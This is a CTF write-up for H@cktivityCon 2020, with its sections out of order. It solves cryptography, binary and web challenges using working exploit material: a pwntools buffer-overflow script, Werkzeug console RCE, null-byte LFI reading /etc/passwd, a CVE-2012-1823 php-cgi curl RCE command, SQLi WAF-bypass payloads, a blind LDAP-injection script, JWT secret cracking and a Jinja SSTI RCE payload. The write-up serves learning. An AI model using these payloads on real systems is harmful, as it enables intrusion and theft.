server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: sleep(10) if __name__ == "__main__": main()``` From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct)) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct) def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" request.sendall(string) ``` Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length. Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode: <div align=center> </div> after encryption the ciphertext created is hexified and sent to the user. So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext! So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result: ```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) # all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = [] # the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:] # the flagflag = [b'',b'', third_block] # finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break # decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag: ![](assets//images//obfuscated_4.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad *** # Binary Exploitation **Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/) ## PancakesHow many flap-jacks are on your stack? Connect with:\`nc jh2i.com 50021` [pancakes](assets//executables//pancakes) **Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`** **Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes: ![](assets//images//pancakes_1.png) Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses: <div align=center> </div> The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that: ![](assets//images//pancakes_3.png) We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address: ![](assets//images//pancakes_4.png) The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts: ![](assets//images//pancakes_5.png) this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server: ```pythonfrom pwn import *import re e = ELF('pancakes')addr = p64(e.symbols['secret_recipe']) local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes') s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()``` and in action: ![](assets//images//pancakes_6.png) *** # Web ## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions! Connect here:\http://jh2i.com:50018 **`flag{weurkzerg_the_worst_kind_of_debug}`** **Solution:** With the challenge we are given a url to a website: ![](assets//images//ladybug_1.png) The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site: ![](assets//images//ladybug_2.png) This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask). Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`: ![](assets//images//ladybug_3.png) From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that: ```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);``` the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get: ![](assets//images//ladybug_4.png) The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag: ![](assets//images//ladybug_5.png) **Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/ ## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website! Connect here:\http://jh2i.com:50010 **`flag{lfi_just_needed_a_null_byte}`** **Solution:** With the challenge we get a url for a website: ![](assets//images//bite_1.png) the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is: `http://jh2i.com:50010/index.php?page=<resource>` we possibly have a local file inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF: > PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us: ![](assets//images//bite_2.png) index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` : ![](assets//images//bite_3.png) It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this. In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte. With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us: ![](assets//images//bite_4.png) We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag: ![](assets//images//bite_5.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php ## GI JoeThe real American hero! Connect here:\http://jh2i.com:50008 **Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`** **Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe: ![](assets//images//gi_joe_1.png) From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server. Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability). In more details when providing a vulnerable website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get: ![](assets//images//gi_joe_2.png) It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server. let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = 